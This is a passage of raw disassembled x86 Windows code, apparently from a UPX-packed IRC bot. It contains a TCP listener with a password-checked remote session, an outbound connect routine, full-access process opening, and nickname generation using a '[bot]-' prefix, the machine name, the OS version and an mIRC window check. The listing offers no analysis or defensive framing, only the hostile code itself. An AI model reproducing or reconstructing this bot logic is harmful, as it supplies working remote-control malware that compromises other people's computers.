		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_415389
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_40D670
		add	esp, 14h


loc_415389:				; CODE XREF: sub_41532A+3Dj
		push	[ebp+var_10]	; int
		lea	eax, [ebp+Str]
		push	esi		; int
		push	esi		; Str2
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_415179
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153B1
		push	offset unk_4377D4
		jmp	short loc_4153B6
; ---------------------------------------------------------------------------


loc_4153B1:				; CODE XREF: sub_41532A+7Ej
		push	offset unk_43779C ; Format


loc_4153B6:				; CODE XREF: sub_41532A+85j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153E9
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_40D670
		add	esp, 14h


loc_4153E9:				; CODE XREF: sub_41532A+9Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_14]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_41532A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415408	proc near		; CODE XREF: sub_40EE51+4AF6p
					; sub_416E83+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_4230F8	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_41543A
		push	0
		push	esi
		call	ds:dword_423110
		test	eax, eax
		jnz	short loc_41543A
		push	esi
		xor	edi, edi
		call	ds:dword_423074


loc_41543A:				; CODE XREF: sub_415408+1Aj
					; sub_415408+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41543F	proc near		; CODE XREF: UPX0:004030D2p
					; UPX0:00403695p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	_rand
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_423698
		call	__ftol
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41543F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41546F	proc near		; DATA XREF: sub_4156FD+1BEo

var_3D4		= byte ptr -3D4h
Str1		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
Dest		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
Args		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_44207C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	ds:dword_43C600	; select
		test	eax, eax
		jnz	short loc_4154F3
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_4154F3:				; CODE XREF: sub_41546F+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C630	; recv
		lea	eax, [ebp+Args]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415674
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415674
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415674
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43C574	; getpeername
		test	eax, eax
		jz	short loc_41556C
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax		; Args
		push	offset dword_437900 ; Format
		call	sub_40BFE3
		push	[ebp+arg_0]
		call	sub_417064
		add	esp, 0Ch
		push	edi
		call	ds:dword_423050


loc_41556C:				; CODE XREF: sub_41546F+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	ds:dword_43C5D0	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_415596
		push	[ebp+var_18]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		jmp	short loc_4155A4
; ---------------------------------------------------------------------------


loc_415596:				; CODE XREF: sub_41546F+10Dj
		push	dword ptr [eax]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy


loc_4155A4:				; CODE XREF: sub_41546F+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_4397BC
		push	dword ptr [esi]
		call	ds:dword_43C668	; send
		cmp	ds:dword_486D90, edi
		jnz	short loc_415606
		push	[ebp+var_18]
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Args]
		push	eax		; Args
		call	sub_4156CE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415606
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	ds:dword_43C668	; send
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+arg_0]
		call	sub_417064
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_415606:				; CODE XREF: sub_41546F+14Cj
					; sub_41546F+16Dj
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset dword_4378B4 ; Format
		call	sub_40BFE3
		push	[ebp+arg_0]
		call	sub_4165B2
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41564D
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_437878 ; Format
		call	sub_40BFE3
		push	[ebp+arg_0]
		call	sub_417064
		add	esp, 0Ch
		push	ebx
		call	ds:dword_423050


loc_41564D:				; CODE XREF: sub_41546F+1B9j
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset dword_437840 ; Format
		call	sub_40BFE3
		push	[ebp+arg_0]
		call	sub_417064
		add	esp, 10h
		push	edi
		call	ds:dword_423050
sub_41546F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415674	proc near		; CODE XREF: sub_41546F+9Ap
					; sub_41546F+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C630	; recv
		cmp	eax, 1
		jnz	short loc_4156C4
		mov	esi, [ebp+arg_4]


loc_415692:				; CODE XREF: sub_415674+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156B9
		test	al, al
		jz	short loc_4156C8
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C630	; recv
		cmp	eax, 1
		jz	short loc_415692
		jmp	short loc_4156C4
; ---------------------------------------------------------------------------


loc_4156B9:				; CODE XREF: sub_415674+27j
		push	offset dword_43793C ; Format
		call	sub_40BFE3
		pop	ecx


loc_4156C4:				; CODE XREF: sub_415674+19j
					; sub_415674+43j
		xor	eax, eax
		jmp	short loc_4156CB
; ---------------------------------------------------------------------------


loc_4156C8:				; CODE XREF: sub_415674+2Bj
		push	1
		pop	eax


loc_4156CB:				; CODE XREF: sub_415674+52j
		pop	esi
		leave
		retn
sub_415674	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4156CE(char *Args,int,char *Str1)

sub_4156CE	proc near		; CODE XREF: sub_41546F+163p

Args		= dword	ptr  4
arg_4		= dword	ptr  8
Str1		= dword	ptr  0Ch

		push	[esp+Args]	; Str2
		push	[esp+4+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4156F9
		push	[esp+arg_4]
		push	[esp+4+Args]	; Args
		push	offset dword_437974 ; Format
		call	sub_40BFE3
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4156F9:				; CODE XREF: sub_4156CE+11j
		push	1
		pop	eax
		retn
sub_4156CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156FD	proc near		; DATA XREF: sub_40EE51+5603o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
Source		= byte ptr -414h
var_214		= dword	ptr -214h
Str		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	ds:dword_43C590	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_415756
		push	eax		; Args
		push	offset dword_437B38 ; Format
		call	sub_40BFE3
		push	[ebp+var_4C]
		call	sub_417064
		add	esp, 0Ch
		push	edi
		call	ds:dword_423050


loc_415756:				; CODE XREF: sub_4156FD+3Aj
		push	edi
		push	offset loc_41597B
		call	ds:dword_423174	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_41578F
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_437AE8 ; Format
		call	sub_40BFE3
		pop	ecx
		pop	ecx
		call	ds:dword_43C578	; WSACleanup
		push	[ebp+var_4C]
		call	sub_417064
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_41578F:				; CODE XREF: sub_4156FD+67j
		push	ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_50]
		call	ds:dword_43C618	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	ds:dword_43C698	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_415906
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	ds:dword_44207C[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	ds:dword_43C644	; bind
		test	eax, eax
		jnz	loc_415906
		push	7FFFFFFFh
		push	ebx
		call	ds:dword_43C640	; listen
		test	eax, eax
		jnz	loc_415906
		push	offset dword_437A9C
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_40BF6F
		pop	ecx
		mov	[ebp+arg_0], edi


loc_41581E:				; CODE XREF: sub_4156FD+15Aj
					; sub_4156FD+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	ds:dword_43C6AC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_415909
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	ds:dword_43C5F8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41581E
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset dword_437A48 ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		push	edi		; int
		lea	eax, [ebp+Source]
		push	6		; int
		push	eax		; Source
		call	sub_416D48
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	ds:dword_442074[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_41546F
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_42309C
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4158F1


loc_4158DE:				; CODE XREF: sub_4156FD+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_41581E
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_4158DE
; ---------------------------------------------------------------------------


loc_4158F1:				; CODE XREF: sub_4156FD+1DFj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_4379FC ; Format
		call	sub_40BFE3
		pop	ecx
		pop	ecx
		jmp	short loc_415909
; ---------------------------------------------------------------------------


loc_415906:				; CODE XREF: sub_4156FD+C8j
					; sub_4156FD+ECj ...
		mov	edi, [ebp+arg_0]


loc_415909:				; CODE XREF: sub_4156FD+13Cj
					; sub_4156FD+207j
		call	ds:dword_43C5AC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Source]
		push	offset dword_4379B8 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_415949
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_40]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_40D670
		add	esp, 14h


loc_415949:				; CODE XREF: sub_4156FD+22Aj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	edi
		call	ds:dword_43C6B0	; closesocket
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		call	ds:dword_43C578	; WSACleanup
		push	[ebp+var_4C]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	ebx


loc_41597B:				; DATA XREF: sub_4156FD+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_4156FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_415985(char *Dest)

sub_415985	proc near		; CODE XREF: sub_415CF0+49p
					; DATA XREF: UPX0:off_437B88o

var_C		= dword	ptr -0Ch
Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		mov	edi, [esp+0Ch+Dest]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42E5C4, esi
		jle	short loc_4159DE


loc_4159B8:				; CODE XREF: sub_415985+57j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42E5C4
		jl	short loc_4159B8


loc_4159DE:				; CODE XREF: sub_415985+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415985	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159E3	proc near		; CODE XREF: sub_40EE51+3E86p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		pop	ecx
		call	_rand
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_42E5C4
		test	esi, esi
		jle	short loc_415A26


loc_415A10:				; CODE XREF: sub_4159E3+41j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A10


loc_415A26:				; CODE XREF: sub_4159E3+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159E3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_437BE4
		push	eax
		push	esi
		call	ds:dword_423154	; GetComputerNameA
		movsx	eax, ds:byte_437BE4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_415A6C:				; CODE XREF: UPX0:00415A77j
		cmp	eax, ecx
		jnz	short loc_415A73
		mov	[ebp-4], edx


loc_415A73:				; CODE XREF: UPX0:00415A6Ej
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A6C
		push	61h
		pop	ecx


loc_415A7C:				; CODE XREF: UPX0:00415A87j
		cmp	eax, ecx
		jnz	short loc_415A83
		mov	[ebp-4], edx


loc_415A83:				; CODE XREF: UPX0:00415A7Ej
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A7C
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_42E5C4, esi
		jle	short loc_415AC8


loc_415AA2:				; CODE XREF: UPX0:00415AC6j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42E5C4
		jl	short loc_415AA2


loc_415AC8:				; CODE XREF: UPX0:00415AA0j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_423178	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437BE8
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42E5C4, esi
		jle	short loc_415B3D


loc_415B17:				; CODE XREF: UPX0:00415B3Bj
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42E5C4
		jl	short loc_415B17


loc_415B3D:				; CODE XREF: UPX0:00415B15j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4397BC
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_423144	; GetVersionExA
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BC7
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BA7
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415B97
		mov	esi, offset a95	; "95"


loc_415B97:				; CODE XREF: UPX0:00415B90j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C03
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C03
; ---------------------------------------------------------------------------


loc_415BA7:				; CODE XREF: UPX0:00415B87j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BB7
		mov	esi, offset a98	; "98"
		jmp	short loc_415C03
; ---------------------------------------------------------------------------


loc_415BB7:				; CODE XREF: UPX0:00415BAEj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415BFE
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C03
; ---------------------------------------------------------------------------


loc_415BC7:				; CODE XREF: UPX0:00415B7Ej
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415BFE
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BE0
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C03
; ---------------------------------------------------------------------------


loc_415BE0:				; CODE XREF: UPX0:00415BD7j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415BF0
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C03
; ---------------------------------------------------------------------------


loc_415BF0:				; CODE XREF: UPX0:00415BE7j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_437BF4
		jz	short loc_415C03


loc_415BFE:				; CODE XREF: UPX0:00415BBEj
					; UPX0:00415BCEj
		mov	esi, offset a??? ; "???"


loc_415C03:				; CODE XREF: UPX0:00415B9Ej
					; UPX0:00415BA5j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_437BEC
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42E5C4, esi
		jle	short loc_415C47


loc_415C21:				; CODE XREF: UPX0:00415C45j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42E5C4
		jl	short loc_415C21


loc_415C47:				; CODE XREF: UPX0:00415C1Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415C4D(char *Dest)

sub_415C4D	proc near		; CODE XREF: sub_415CF0+5Cp

Source		= byte ptr -1Ch
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_423054	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415C9C
		call	ds:dword_43C624	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_415C85
		mov	eax, offset byte_4397BC


loc_415C85:				; CODE XREF: sub_415C4D+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_415CBC
; ---------------------------------------------------------------------------


loc_415C9C:				; CODE XREF: sub_415C4D+22j
		call	ds:dword_43C624	; FindWindowA
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_415CB0
		mov	eax, offset byte_4397BC


loc_415CB0:				; CODE XREF: sub_415C4D+5Cj
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_415CBC:				; CODE XREF: sub_415C4D+4Dj
		lea	eax, [ebp+Source]
		push	eax		; Str
		call	_strlen
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CEB
		push	1Ch		; Count
		lea	eax, [ebp+Source]
		push	[ebp+Dest]	; Source
		push	eax		; Dest
		call	_strncat
		lea	eax, [ebp+Source]
		push	1Ch		; Count
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		add	esp, 18h


loc_415CEB:				; CODE XREF: sub_415C4D+7Dj
		mov	eax, [ebp+Dest]
		leave
		retn
sub_415C4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415CF0(char *Dest,int,int,char *Str1)

sub_415CF0	proc near		; CODE XREF: sub_40EB71+7Fp
					; sub_40ECD9+50p ...

Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str1		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_437B84


loc_415CFC:				; CODE XREF: sub_415CF0+3Fj
		cmp	[ebp+Str1], 0
		jz	short loc_415D17
		lea	eax, [esi-0Ch]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D21
; ---------------------------------------------------------------------------


loc_415D17:				; CODE XREF: sub_415CF0+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_415D21:				; CODE XREF: sub_415CF0+25j
		test	eax, eax
		jnz	short loc_415D33
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437BE8
		jl	short loc_415CFC
		jmp	short loc_415D41
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415CF0+33j
		push	[ebp+Dest]	; Dest
		lea	eax, [edi+edi*4]
		call	ds:off_437B88[eax*4]
		pop	ecx


loc_415D41:				; CODE XREF: sub_415CF0+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D54
		push	[ebp+Dest]	; Dest
		call	sub_415C4D
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415D54:				; CODE XREF: sub_415CF0+57j
		mov	eax, [ebp+Dest]
		pop	ebp
		retn
sub_415CF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D59	proc near		; DATA XREF: sub_415E26+7Bo

var_B8		= dword	ptr -0B8h
Str		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_34]
		call	ds:dword_43C618	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_43C698	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E17
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43C5C0	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_44207C[ecx], esi
		jz	short loc_415E17
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		mov	edi, offset byte_486D98
		push	offset unk_437C04 ; Format
		push	edi		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Str]
		push	[ebp+var_20]	; int
		push	edi		; int
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_40D670
		push	edi
